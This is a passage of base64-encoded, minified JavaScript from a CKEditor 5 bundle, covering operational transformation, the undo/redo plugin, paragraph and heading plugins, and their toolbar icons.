0UG9zaXRpb249ZS5zb3VyY2VQb3NpdGlvbi5jbG9uZSgpO3QuaW5zZXJ0aW9uUG9zaXRpb249U2cuZ2V0SW5zZXJ0aW9uUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKTtyZXR1cm5bdF19Y29uc3Qgbz10LnNwbGl0UG9zaXRpb24uaXNFcXVhbChlLnRhcmdldFBvc2l0aW9uKTtpZihvJiYobi5iYVJlbGF0aW9uPT0iaW5zZXJ0QXRTb3VyY2UifHxuLmFiUmVsYXRpb249PSJzcGxpdEJlZm9yZSIpKXt0Lmhvd01hbnkrPWUuaG93TWFueTt0LnNwbGl0UG9zaXRpb249dC5zcGxpdFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24oZS5zb3VyY2VQb3NpdGlvbixlLmhvd01hbnkpO3QuaW5zZXJ0aW9uUG9zaXRpb249U2cuZ2V0SW5zZXJ0aW9uUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKTtyZXR1cm5bdF19aWYoIWUuc291cmNlUG9zaXRpb24uaXNFcXVhbChlLnRhcmdldFBvc2l0aW9uKSl7aWYodC5zcGxpdFBvc2l0aW9uLmhhc1NhbWVQYXJlbnRBcyhlLnNvdXJjZVBvc2l0aW9uKSYmdC5zcGxpdFBvc2l0aW9uLm9mZnNldDw9ZS5zb3VyY2VQb3NpdGlvbi5vZmZzZXQpe3QuaG93TWFueS09ZS5ob3dNYW55fWlmKHQuc3BsaXRQb3NpdGlvbi5oYXNTYW1lUGFyZW50QXMoZS50YXJnZXRQb3NpdGlvbikmJnQuc3BsaXRQb3NpdGlvbi5vZmZzZXQ8ZS50YXJnZXRQb3NpdGlvbi5vZmZzZXQpe3QuaG93TWFueSs9ZS5ob3dNYW55fX10LnNwbGl0UG9zaXRpb24uc3RpY2tpbmVzcz0idG9Ob25lIjt0LnNwbGl0UG9zaXRpb249dC5zcGxpdFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbihlKTt0LnNwbGl0UG9zaXRpb24uc3RpY2tpbmVzcz0idG9OZXh0IjtpZih0LmdyYXZleWFyZFBvc2l0aW9uKXt0Lmluc2VydGlvblBvc2l0aW9uPXQuaW5zZXJ0aW9uUG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNb3ZlT3BlcmF0aW9uKGUpfWVsc2V7dC5pbnNlcnRpb25Qb3NpdGlvbj1TZy5nZXRJbnNlcnRpb25Qb3NpdGlvbih0LnNwbGl0UG9zaXRpb24pfXJldHVyblt0XX0pKTtHQShTZyxTZywoKHQsZSxuKT0+e2lmKHQuc3BsaXRQb3NpdGlvbi5pc0VxdWFsKGUuc3BsaXRQb3NpdGlvbikpe2lmKCF0LmdyYXZleWFyZFBvc2l0aW9uJiYhZS5ncmF2ZXlhcmRQb3NpdGlvbil7cmV0dXJuW25ldyBaZygwKV19aWYodC5ncmF2ZXlhcmRQb3NpdGlvbiYmZS5ncmF2ZXlhcmRQb3NpdGlvbiYmdC5ncmF2ZXlhcmRQb3NpdGlvbi5pc0VxdWFsKGUuZ3JhdmV5YXJkUG9zaXRpb24pKXtyZXR1cm5bbmV3IFpnKDApXX1pZihuLmFiUmVsYXRpb249PSJzcGxpdEJlZm9yZSIpe3QuaG93TWFueT0wO3QuZ3JhdmV5YXJkUG9zaXRpb249dC5ncmF2ZXlhcmRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3JldHVyblt0XX19aWYodC5ncmF2ZXlhcmRQb3NpdGlvbiYmZS5ncmF2ZXlhcmRQb3NpdGlvbiYmdC5ncmF2ZXlhcmRQb3NpdGlvbi5pc0VxdWFsKGUuZ3JhdmV5YXJkUG9zaXRpb24pKXtjb25zdCBpPXQuc3BsaXRQb3NpdGlvbi5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCI7Y29uc3Qgbz1lLnNwbGl0UG9zaXRpb24ucm9vdC5yb290TmFtZT09IiRncmF2ZXlhcmQiO2NvbnN0IHI9aSYmIW87Y29uc3Qgcz1vJiYhaTtjb25zdCBhPXN8fCFyJiZuLmFJc1N0cm9uZztpZihhKXtjb25zdCBuPVtdO2lmKGUuaG93TWFueSl7bi5wdXNoKG5ldyB2ZyhlLm1vdmVUYXJnZXRQb3NpdGlvbixlLmhvd01hbnksZS5zcGxpdFBvc2l0aW9uLDApKX1pZih0Lmhvd01hbnkpe24ucHVzaChuZXcgdmcodC5zcGxpdFBvc2l0aW9uLHQuaG93TWFueSx0Lm1vdmVUYXJnZXRQb3NpdGlvbiwwKSl9cmV0dXJuIG59ZWxzZXtyZXR1cm5bbmV3IFpnKDApXX19aWYodC5ncmF2ZXlhcmRQb3NpdGlvbil7dC5ncmF2ZXlhcmRQb3NpdGlvbj10LmdyYXZleWFyZFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24oZSl9aWYodC5zcGxpdFBvc2l0aW9uLmlzRXF1YWwoZS5pbnNlcnRpb25Qb3NpdGlvbikmJm4uYWJSZWxhdGlvbj09InNwbGl0QmVmb3JlIil7dC5ob3dNYW55Kys7cmV0dXJuW3RdfWlmKGUuc3BsaXRQb3NpdGlvbi5pc0VxdWFsKHQuaW5zZXJ0aW9uUG9zaXRpb24pJiZuLmJhUmVsYXRpb249PSJzcGxpdEJlZm9yZSIpe2NvbnN0IG49ZS5pbnNlcnRpb25Qb3NpdGlvbi5wYXRoLnNsaWNlKCk7bi5wdXNoKDApO2NvbnN0IGk9bmV3IEpoKGUuaW5zZXJ0aW9uUG9zaXRpb24ucm9vdCxuKTtjb25zdCBvPW5ldyB2Zyh0Lmluc2VydGlvblBvc2l0aW9uLDEsaSwwKTtyZXR1cm5bdCxvXX1pZih0LnNwbGl0UG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUuc3BsaXRQb3NpdGlvbikmJnQuc3BsaXRQb3NpdGlvbi5vZmZzZXQ8ZS5zcGxpdFBvc2l0aW9uLm9mZnNldCl7dC5ob3dNYW55LT1lLmhvd01hbnl9dC5zcGxpdFBvc2l0aW9uPXQuc3BsaXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3QuaW5zZXJ0aW9uUG9zaXRpb249U2cuZ2V0SW5zZXJ0aW9uUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKTtyZXR1cm5bdF19KSk7ZnVuY3Rpb24gdF8odCxlKXtyZXR1cm4gdC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKGUuc291cmNlUG9zaXRpb24sZS5ob3dNYW55KT09PW51bGx9ZnVuY3Rpb24gZV8odCxlKXtjb25zdCBuPVtdO2ZvcihsZXQgaT0wO2k8dC5sZW5ndGg7aSsrKXtjb25zdCBvPXRbaV07Y29uc3Qgcj1uZXcgdmcoby5zdGFydCxvLmVuZC5vZmZzZXQtby5zdGFydC5vZmZzZXQsZSwwKTtuLnB1c2gocik7Zm9yKGxldCBlPWkrMTtlPHQubGVuZ3RoO2UrKyl7dFtlXT10W2VdLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZShyLnNvdXJjZVBvc2l0aW9uLHIudGFyZ2V0UG9zaXRpb24sci5ob3dNYW55KVswXX1lPWUuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKHIuc291cmNlUG9zaXRpb24sci50YXJnZXRQb3NpdGlvbixyLmhvd01hbnkpfXJldHVybiBufWNsYXNzIG5fIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5fc3RhY2s9W107dGhpcy5fY3JlYXRlZEJhdGNoZXM9bmV3IFdlYWtTZXQ7dGhpcy5yZWZyZXNoKCk7dGhpcy5saXN0ZW5Ubyh0LmRhdGEsInNldCIsKCgpPT50aGlzLmNsZWFyU3RhY2soKSkpfXJlZnJlc2goKXt0aGlzLmlzRW5hYmxlZD10aGlzLl9zdGFjay5sZW5ndGg+MH1hZGRCYXRjaCh0KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBuPXtyYW5nZXM6ZS5oYXNPd25SYW5nZT9BcnJheS5mcm9tKGUuZ2V0UmFuZ2VzKCkpOltdLGlzQmFja3dhcmQ6ZS5pc0JhY2t3YXJkfTt0aGlzLl9zdGFjay5wdXNoKHtiYXRjaDp0LHNlbGVjdGlvbjpufSk7dGhpcy5yZWZyZXNoKCl9Y2xlYXJTdGFjaygpe3RoaXMuX3N0YWNrPVtdO3RoaXMucmVmcmVzaCgpfV9yZXN0b3JlU2VsZWN0aW9uKHQsZSxuKXtjb25zdCBpPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG89aS5kb2N1bWVudDtjb25zdCByPVtdO2NvbnN0IHM9dC5tYXAoKHQ9PnQuZ2V0VHJhbnNmb3JtZWRCeU9wZXJhdGlvbnMobikpKTtjb25zdCBhPXMuZmxhdCgpO2Zvcihjb25zdCB0IG9mIHMpe2NvbnN0IGU9dC5maWx0ZXIoKHQ9PnQucm9vdCE9by5ncmF2ZXlhcmQpKS5maWx0ZXIoKHQ9PiFvXyh0LGEpKSk7aWYoIWUubGVuZ3RoKXtjb250aW51ZX1pXyhlKTtyLnB1c2goZVswXSl9aWYoci5sZW5ndGgpe2kuY2hhbmdlKCh0PT57dC5zZXRTZWxlY3Rpb24ocix7YmFja3dhcmQ6ZX0pfSkpfX1fdW5kbyh0LGUpe2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT1uLmRvY3VtZW50O3RoaXMuX2NyZWF0ZWRCYXRjaGVzLmFkZChlKTtjb25zdCBvPXQub3BlcmF0aW9ucy5zbGljZSgpLmZpbHRlcigodD0+dC5pc0RvY3VtZW50T3BlcmF0aW9uKSk7by5yZXZlcnNlKCk7Zm9yKGNvbnN0IHQgb2Ygbyl7Y29uc3Qgbz10LmJhc2VWZXJzaW9uKzE7Y29uc3Qgcj1BcnJheS5mcm9tKGkuaGlzdG9yeS5nZXRPcGVyYXRpb25zKG8pKTtjb25zdCBzPVlBKFt0LmdldFJldmVyc2VkKCldLHIse3VzZVJlbGF0aW9uczp0cnVlLGRvY3VtZW50OnRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LHBhZFdpdGhOb09wczpmYWxzZSxmb3JjZVdlYWtSZW1vdmU6dHJ1ZX0pO2NvbnN0IGE9cy5vcGVyYXRpb25zQTtmb3IoY29uc3QgbyBvZiBhKXtlLmFkZE9wZXJhdGlvbihvKTtuLmFwcGx5T3BlcmF0aW9uKG8pO2kuaGlzdG9yeS5zZXRPcGVyYXRpb25Bc1VuZG9uZSh0LG8pfX19fWZ1bmN0aW9uIGlfKHQpe3Quc29ydCgoKHQsZSk9PnQuc3RhcnQuaXNCZWZvcmUoZS5zdGFydCk/LTE6MSkpO2ZvcihsZXQgZT0xO2U8dC5sZW5ndGg7ZSsrKXtjb25zdCBuPXRbZS0xXTtjb25zdCBpPW4uZ2V0Sm9pbmVkKHRbZV0sdHJ1ZSk7aWYoaSl7ZS0tO3Quc3BsaWNlKGUsMixpKX19fWZ1bmN0aW9uIG9fKHQsZSl7cmV0dXJuIGUuc29tZSgoZT0+ZSE9PXQmJmUuY29udGFpbnNSYW5nZSh0LHRydWUpKSl9Y2xhc3Mgcl8gZXh0ZW5kcyBuX3tleGVjdXRlKHQ9bnVsbCl7Y29uc3QgZT10P3RoaXMuX3N0YWNrLmZpbmRJbmRleCgoZT0+ZS5iYXRjaD09dCkpOnRoaXMuX3N0YWNrLmxlbmd0aC0xO2NvbnN0IG49dGhpcy5fc3RhY2suc3BsaWNlKGUsMSlbMF07Y29uc3QgaT10aGlzLmVkaXRvci5tb2RlbC5jcmVhdGVCYXRjaCgidHJhbnNwYXJlbnQiKTt0aGlzLmVkaXRvci5tb2RlbC5lbnF1ZXVlQ2hhbmdlKGksKCgpPT57dGhpcy5fdW5kbyhuLmJhdGNoLGkpO2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQuaGlzdG9yeS5nZXRPcGVyYXRpb25zKG4uYmF0Y2guYmFzZVZlcnNpb24pO3RoaXMuX3Jlc3RvcmVTZWxlY3Rpb24obi5zZWxlY3Rpb24ucmFuZ2VzLG4uc2VsZWN0aW9uLmlzQmFja3dhcmQsdCk7dGhpcy5maXJlKCJyZXZlcnQiLG4uYmF0Y2gsaSl9KSk7dGhpcy5yZWZyZXNoKCl9fWNsYXNzIHNfIGV4dGVuZHMgbl97ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5fc3RhY2sucG9wKCk7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbC5jcmVhdGVCYXRjaCgidHJhbnNwYXJlbnQiKTt0aGlzLmVkaXRvci5tb2RlbC5lbnF1ZXVlQ2hhbmdlKGUsKCgpPT57Y29uc3Qgbj10LmJhdGNoLm9wZXJhdGlvbnNbdC5iYXRjaC5vcGVyYXRpb25zLmxlbmd0aC0xXTtjb25zdCBpPW4uYmFzZVZlcnNpb24rMTtjb25zdCBvPXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50Lmhpc3RvcnkuZ2V0T3BlcmF0aW9ucyhpKTt0aGlzLl9yZXN0b3JlU2VsZWN0aW9uKHQuc2VsZWN0aW9uLnJhbmdlcyx0LnNlbGVjdGlvbi5pc0JhY2t3YXJkLG8pO3RoaXMuX3VuZG8odC5iYXRjaCxlKX0pKTt0aGlzLnJlZnJlc2goKX19Y2xhc3MgYV8gZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iVW5kb0VkaXRpbmcifWNvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuX2JhdGNoUmVnaXN0cnk9bmV3IFdlYWtTZXR9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dGhpcy5fdW5kb0NvbW1hbmQ9bmV3IHJfKHQpO3RoaXMuX3JlZG9Db21tYW5kPW5ldyBzXyh0KTt0LmNvbW1hbmRzLmFkZCgidW5kbyIsdGhpcy5fdW5kb0NvbW1hbmQpO3QuY29tbWFuZHMuYWRkKCJyZWRvIix0aGlzLl9yZWRvQ29tbWFuZCk7dGhpcy5saXN0ZW5Ubyh0Lm1vZGVsLCJhcHBseU9wZXJhdGlvbiIsKCh0LGUpPT57Y29uc3Qgbj1lWzBdO2lmKCFuLmlzRG9jdW1lbnRPcGVyYXRpb24pe3JldHVybn1jb25zdCBpPW4uYmF0Y2g7Y29uc3Qgbz10aGlzLl9yZWRvQ29tbWFuZC5fY3JlYXRlZEJhdGNoZXMuaGFzKGkpO2NvbnN0IHI9dGhpcy5fdW5kb0NvbW1hbmQuX2NyZWF0ZWRCYXRjaGVzLmhhcyhpKTtjb25zdCBzPXRoaXMuX2JhdGNoUmVnaXN0cnkuaGFzKGkpO2lmKHN8fGkudHlwZT09InRyYW5zcGFyZW50IiYmIW8mJiFyKXtyZXR1cm59ZWxzZXtpZihvKXt0aGlzLl91bmRvQ29tbWFuZC5hZGRCYXRjaChpKX1lbHNlIGlmKCFyKXt0aGlzLl91bmRvQ29tbWFuZC5hZGRCYXRjaChpKTt0aGlzLl9yZWRvQ29tbWFuZC5jbGVhclN0YWNrKCl9fXRoaXMuX2JhdGNoUmVnaXN0cnkuYWRkKGkpfSkse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMubGlzdGVuVG8odGhpcy5fdW5kb0NvbW1hbmQsInJldmVydCIsKCh0LGUsbik9Pnt0aGlzLl9yZWRvQ29tbWFuZC5hZGRCYXRjaChuKX0pKTt0LmtleXN0cm9rZXMuc2V0KCJDVFJMK1oiLCJ1bmRvIik7dC5rZXlzdHJva2VzLnNldCgiQ1RSTCtZIiwicmVkbyIpO3Qua2V5c3Ryb2tlcy5zZXQoIkNUUkwrU0hJRlQrWiIsInJlZG8iKX19dmFyIGNfPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4wNDIgOS4zNjdsMi4xODkgMS44MzdhLjc1Ljc1IDAgMCAxLS45NjUgMS4xNDlsLTMuNzg4LTMuMThhLjc0Ny43NDcgMCAwIDEtLjIxLS4yODQuNzUuNzUgMCAwIDEgLjE3LS45NDVMNi4yMyA0Ljc2MmEuNzUuNzUgMCAxIDEgLjk2NCAxLjE1TDQuODYzIDcuODY2aDguOTE3QS43NS43NSAwIDAgMSAxNCA3LjlhNCA0IDAgMSAxLTEuNDc3IDcuNzE4bC4zNDQtMS40ODlhMi41IDIuNSAwIDEgMCAxLjA5NC00LjczbC4wMDgtLjAzMkg1LjA0MnoiLz48L3N2Zz4nO3ZhciBsXz0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTE0Ljk1OCA5LjM2N2wtMi4xODkgMS44MzdhLjc1Ljc1IDAgMCAwIC45NjUgMS4xNDlsMy43ODgtMy4xOGEuNzQ3Ljc0NyAwIDAgMCAuMjEtLjI4NC43NS43NSAwIDAgMC0uMTctLjk0NUwxMy43NyA0Ljc2MmEuNzUuNzUgMCAxIDAtLjk2NCAxLjE1bDIuMzMxIDEuOTU1SDYuMjJBLjc1Ljc1IDAgMCAwIDYgNy45YTQgNCAwIDEgMCAxLjQ3NyA3LjcxOGwtLjM0NC0xLjQ4OUEyLjUgMi41IDAgMSAxIDYuMDM5IDkuNGwtLjAwOC0uMDMyaDguOTI3eiIvPjwvc3ZnPic7Y2xhc3MgZF8gZXh0ZW5kcyBuQ3tpbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubG9jYWxlO2NvbnN0IG49dC50O2NvbnN0IGk9ZS51aUxhbmd1YWdlRGlyZWN0aW9uPT0ibHRyIj9jXzpsXztjb25zdCBvPWUudWlMYW5ndWFnZURpcmVjdGlvbj09Imx0ciI/bF86Y187dGhpcy5fYWRkQnV0dG9uKCJ1bmRvIixuKCJVbmRvIiksIkNUUkwrWiIsaSk7dGhpcy5fYWRkQnV0dG9uKCJyZWRvIixuKCJSZWRvIiksIkNUUkwrWSIsbyl9X2FkZEJ1dHRvbih0LGUsbixpKXtjb25zdCBvPXRoaXMuZWRpdG9yO28udWkuY29tcG9uZW50RmFjdG9yeS5hZGQodCwocj0+e2NvbnN0IHM9by5jb21tYW5kcy5nZXQodCk7Y29uc3QgYT1uZXcgY3cocik7YS5zZXQoe2xhYmVsOmUsaWNvbjppLGtleXN0cm9rZTpuLHRvb2x0aXA6dHJ1ZX0pO2EuYmluZCgiaXNFbmFibGVkIikudG8ocywiaXNFbmFibGVkIik7dGhpcy5saXN0ZW5UbyhhLCJleGVjdXRlIiwoKCk9PntvLmV4ZWN1dGUodCk7by5lZGl0aW5nLnZpZXcuZm9jdXMoKX0pKTtyZXR1cm4gYX0pKX19Y2xhc3MgdV8gZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW2FfLGRfXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iVW5kbyJ9fWNsYXNzIGhfIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltpQSxkQSx2QSxwQSxVQSx1X119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkVzc2VudGlhbHMifX1jbGFzcyBmXyBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGU9dC5kb2N1bWVudDtjb25zdCBuPXNDKGUuc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpO3RoaXMudmFsdWU9ISFuJiZuLmlzKCJlbGVtZW50IiwicGFyYWdyYXBoIik7dGhpcy5pc0VuYWJsZWQ9ISFuJiZtXyhuLHQuc2NoZW1hKX1leGVjdXRlKHQ9e30pe2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50O2UuY2hhbmdlKChpPT57Y29uc3Qgbz0odC5zZWxlY3Rpb258fG4uc2VsZWN0aW9uKS5nZXRTZWxlY3RlZEJsb2NrcygpO2Zvcihjb25zdCB0IG9mIG8pe2lmKCF0LmlzKCJlbGVtZW50IiwicGFyYWdyYXBoIikmJm1fKHQsZS5zY2hlbWEpKXtpLnJlbmFtZSh0LCJwYXJhZ3JhcGgiKX19fSkpfX1mdW5jdGlvbiBtXyh0LGUpe3JldHVybiBlLmNoZWNrQ2hpbGQodC5wYXJlbnQsInBhcmFncmFwaCIpJiYhZS5pc09iamVjdCh0KX1jbGFzcyBnXyBleHRlbmRzIG9De2V4ZWN1dGUodCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtsZXQgbj10LnBvc2l0aW9uO2UuY2hhbmdlKCh0PT57Y29uc3QgaT10LmNyZWF0ZUVsZW1lbnQoInBhcmFncmFwaCIpO2lmKCFlLnNjaGVtYS5jaGVja0NoaWxkKG4ucGFyZW50LGkpKXtjb25zdCBvPWUuc2NoZW1hLmZpbmRBbGxvd2VkUGFyZW50KG4saSk7aWYoIW8pe3JldHVybn1uPXQuc3BsaXQobixvKS5wb3NpdGlvbn1lLmluc2VydENvbnRlbnQoaSxuKTt0LnNldFNlbGVjdGlvbihpLCJpbiIpfSkpfX1jbGFzcyBwXyBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJQYXJhZ3JhcGgifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbDt0LmNvbW1hbmRzLmFkZCgicGFyYWdyYXBoIixuZXcgZl8odCkpO3QuY29tbWFuZHMuYWRkKCJpbnNlcnRQYXJhZ3JhcGgiLG5ldyBnXyh0KSk7ZS5zY2hlbWEucmVnaXN0ZXIoInBhcmFncmFwaCIse2luaGVyaXRBbGxGcm9tOiIkYmxvY2sifSk7dC5jb252ZXJzaW9uLmVsZW1lbnRUb0VsZW1lbnQoe21vZGVsOiJwYXJhZ3JhcGgiLHZpZXc6InAifSk7dC5jb252ZXJzaW9uLmZvcigidXBjYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6KHQse3dyaXRlcjplfSk9PntpZighcF8ucGFyYWdyYXBoTGlrZUVsZW1lbnRzLmhhcyh0Lm5hbWUpKXtyZXR1cm4gbnVsbH1pZih0LmlzRW1wdHkpe3JldHVybiBudWxsfXJldHVybiBlLmNyZWF0ZUVsZW1lbnQoInBhcmFncmFwaCIpfSx2aWV3Oi8uKy8sY29udmVydGVyUHJpb3JpdHk6ImxvdyJ9KX19cF8ucGFyYWdyYXBoTGlrZUVsZW1lbnRzPW5ldyBTZXQoWyJibG9ja3F1b3RlIiwiZGQiLCJkaXYiLCJkdCIsImgxIiwiaDIiLCJoMyIsImg0IiwiaDUiLCJoNiIsImxpIiwicCIsInRkIiwidGgiXSk7Y2xhc3Mga18gZXh0ZW5kcyBvQ3tjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQpO3RoaXMubW9kZWxFbGVtZW50cz1lfXJlZnJlc2goKXtjb25zdCB0PXNDKHRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEJsb2NrcygpKTt0aGlzLnZhbHVlPSEhdCYmdGhpcy5tb2RlbEVsZW1lbnRzLmluY2x1ZGVzKHQubmFtZSkmJnQubmFtZTt0aGlzLmlzRW5hYmxlZD0hIXQmJnRoaXMubW9kZWxFbGVtZW50cy5zb21lKChlPT5iXyh0LGUsdGhpcy5lZGl0b3IubW9kZWwuc2NoZW1hKSkpfWV4ZWN1dGUodCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQ7Y29uc3QgaT10LnZhbHVlO2UuY2hhbmdlKCh0PT57Y29uc3Qgbz1BcnJheS5mcm9tKG4uc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpLmZpbHRlcigodD0+Yl8odCxpLGUuc2NoZW1hKSkpO2Zvcihjb25zdCBlIG9mIG8pe2lmKCFlLmlzKCJlbGVtZW50IixpKSl7dC5yZW5hbWUoZSxpKX19fSkpfX1mdW5jdGlvbiBiXyh0LGUsbil7cmV0dXJuIG4uY2hlY2tDaGlsZCh0LnBhcmVudCxlKSYmIW4uaXNPYmplY3QodCl9Y29uc3Qgd189InBhcmFncmFwaCI7Y2xhc3MgQ18gZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSGVhZGluZ0VkaXRpbmcifWNvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3QuY29uZmlnLmRlZmluZSgiaGVhZGluZyIse29wdGlvbnM6W3ttb2RlbDoicGFyYWdyYXBoIix0aXRsZToiUGFyYWdyYXBoIixjbGFzczoiY2staGVhZGluZ19wYXJhZ3JhcGgifSx7bW9kZWw6ImhlYWRpbmcxIix2aWV3OiJoMiIsdGl0bGU6IkhlYWRpbmcgMSIsY2xhc3M6ImNrLWhlYWRpbmdfaGVhZGluZzEifSx7bW9kZWw6ImhlYWRpbmcyIix2aWV3OiJoMyIsdGl0bGU6IkhlYWRpbmcgMiIsY2xhc3M6ImNrLWhlYWRpbmdfaGVhZGluZzIifSx7bW9kZWw6ImhlYWRpbmczIix2aWV3OiJoNCIsdGl0bGU6IkhlYWRpbmcgMyIsY2xhc3M6ImNrLWhlYWRpbmdfaGVhZGluZzMifV19KX1zdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW3BfXX1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuY29uZmlnLmdldCgiaGVhZGluZy5vcHRpb25zIik7Y29uc3Qgbj1bXTtmb3IoY29uc3QgaSBvZiBlKXtpZihpLm1vZGVsIT09d18pe3QubW9kZWwuc2NoZW1hLnJlZ2lzdGVyKGkubW9kZWwse2luaGVyaXRBbGxGcm9tOiIkYmxvY2sifSk7dC5jb252ZXJzaW9uLmVsZW1lbnRUb0VsZW1lbnQoaSk7bi5wdXNoKGkubW9kZWwpfX10aGlzLl9hZGREZWZhdWx0SDFDb252ZXJzaW9uKHQpO3QuY29tbWFuZHMuYWRkKCJoZWFkaW5nIixuZXcga18odCxuKSl9YWZ0ZXJJbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuY29tbWFuZHMuZ2V0KCJlbnRlciIpO2NvbnN0IG49dC5jb25maWcuZ2V0KCJoZWFkaW5nLm9wdGlvbnMiKTtpZihlKXt0aGlzLmxpc3RlblRvKGUsImFmdGVyRXhlY3V0ZSIsKChlLGkpPT57Y29uc3Qgbz10Lm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRGaXJzdFBvc2l0aW9uKCkucGFyZW50O2NvbnN0IHI9bi5zb21lKCh0PT5vLmlzKCJlbGVtZW50Iix0Lm1vZGVsKSkpO2lmKHImJiFvLmlzKCJlbGVtZW50Iix3XykmJm8uY2hpbGRDb3VudD09PTApe2kud3JpdGVyLnJlbmFtZShvLHdfKX19KSl9fV9hZGREZWZhdWx0SDFDb252ZXJzaW9uKHQpe3QuY29udmVyc2lvbi5mb3IoInVwY2FzdCIpLmVsZW1lbnRUb0VsZW1lbnQoe21vZGVsOiJoZWFkaW5nMSIsdmlldzoiaDEiLGNvbnZlcnRlclByaW9yaXR5Om9zLmdldCgibG93IikrMX0pfX1jbGFzcyBBX3tjb25zdHJ1Y3Rvcih0LGUpe2lmKGUpe0tjKHRoaXMsZSl9aWYodCl7dGhpcy5zZXQodCl9fX1fcyhBXyxKYyk7ZnVuY3Rpb24gX18odCl7Y29uc3QgZT10LnQ7Y29uc3Qgbj17UGFyYWdyYXBoOmUoIlBhcmFncmFwaCIpLCJIZWFkaW5nIDEiOmUoIkhlYWRpbmcgMSIpLCJIZWFkaW5nIDIiOmUoIkhlYWRpbmcgMiIpLCJIZWFkaW5nIDMiOmUoIkhlYWRpbmcgMyIpLCJIZWFkaW5nIDQiOmUoIkhlYWRpbmcgNCIpLCJIZWFkaW5nIDUiOmUoIkhlYWRpbmcgNSIpLCJIZWFkaW5nIDYiOmUoIkhlYWRpbmcgNiIpfTtyZXR1cm4gdC5jb25maWcuZ2V0KCJoZWFkaW5nLm9wdGlvbnMiKS5tYXAoKHQ9Pntjb25zdCBlPW5bdC50aXRsZV07aWYoZSYmZSE9dC50aXRsZSl7dC50aXRsZT1lfXJldHVybiB0fSkpfXZhciB2Xz1uKDI4KTt2YXIgeV89e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTt5Xy5pbnNlcnQ9ImhlYWQiO3lfLnNpbmdsZXRvbj10cnVlO3ZhciB4Xz1yaygpKHZfWyJhIl0seV8pO3ZhciBEXz12X1siYSJdLmxvY2Fsc3x8e307Y2xhc3MgRV8gZXh0ZW5kcyBuQ3tpbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQudDtjb25zdCBuPV9fKHQpO2NvbnN0IGk9ZSgiQ2hvb3NlIGhlYWRpbmciKTtjb25zdCBvPWUoIkhlYWRpbmciKTt0LnVp